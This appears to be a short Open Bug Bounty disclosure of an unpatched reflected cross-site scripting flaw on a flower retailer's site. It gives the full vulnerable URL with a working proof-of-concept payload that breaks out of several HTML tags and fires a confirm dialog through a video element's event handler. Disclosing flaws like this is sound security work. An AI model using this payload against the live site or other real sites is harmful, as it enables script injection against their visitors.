flowersfast.com XSS vulnerability

Vulnerable URL: https://flowersfast.com/cgi-bin/showcat.cgi?category=fall=1%22%27--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CVideo/Src/Onloadstart=confirm%27OPENBUGBOUNTY%27%3E==31=30=price&price1;=&price2;== Details: Description| Value ---|--- Patched:| No...